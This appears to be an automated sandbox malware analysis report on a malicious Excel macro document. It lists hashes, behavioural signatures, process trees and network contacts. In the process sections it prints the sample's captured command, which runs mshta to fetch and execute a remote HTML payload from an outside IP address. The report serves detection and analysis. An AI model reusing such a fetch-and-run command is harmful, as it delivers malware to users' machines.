Malware Analysis Report

2025-03-15 07:25

Sample ID 241111-y5p6zsvkdt
Target 42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae
SHA256 42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae
Tags
discovery macro xlm
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae

Threat Level: Known bad

The file 42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae was found to be: Known bad.

Malicious Activity Summary

discovery macro xlm

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 20:22

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 20:22

Reported

2024-11-11 20:24

Platform

win7-20240903-en

Max time kernel

118s

Max time network

120s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c mshta http://91.240.118.168/qqw/aas/se.html

C:\Windows\SysWOW64\mshta.exe

mshta http://91.240.118.168/qqw/aas/se.html

Network

Country Destination Domain Proto
RU 91.240.118.168:80 tcp
RU 91.240.118.168:80 tcp

Files

memory/1388-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1388-1-0x00000000725ED000-0x00000000725F8000-memory.dmp

memory/1388-2-0x00000000725ED000-0x00000000725F8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 20:22

Reported

2024-11-11 20:24

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

142s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4024 wrote to memory of 1828 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4024 wrote to memory of 1828 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 1828 wrote to memory of 8 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 1828 wrote to memory of 8 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c mshta http://91.240.118.168/qqw/aas/se.html

C:\Windows\system32\mshta.exe

mshta http://91.240.118.168/qqw/aas/se.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
RU 91.240.118.168:80 tcp
US 8.8.8.8:53 88.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 106.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

memory/4024-0-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp

memory/4024-3-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp

memory/4024-2-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp

memory/4024-1-0x00007FFFFF0AD000-0x00007FFFFF0AE000-memory.dmp

memory/4024-4-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp

memory/4024-9-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-10-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-12-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-13-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-14-0x00007FFFBC9D0000-0x00007FFFBC9E0000-memory.dmp

memory/4024-11-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-8-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-15-0x00007FFFBC9D0000-0x00007FFFBC9E0000-memory.dmp

memory/4024-7-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-6-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-5-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp

memory/4024-26-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-27-0x00007FFFFF0AD000-0x00007FFFFF0AE000-memory.dmp

memory/4024-28-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

memory/4024-29-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 f9fb15087dd9cdd0f6d14660e92c2fcc
SHA1 5f0d718311ea14b9c0101912d5f389c3cd6aa643
SHA256 53999d97742f32db3c8027d5d10ab59df1b5d8b8ae00a2fb3c1eee3d17b54bca
SHA512 aac9126defdee6f13ad85d72221f55f8047bcc0dc8b0ab4c239f965dc0651cafa589a9d48a97e476244fc12f1975b0607318e508609fb0747564c3457ef2ff63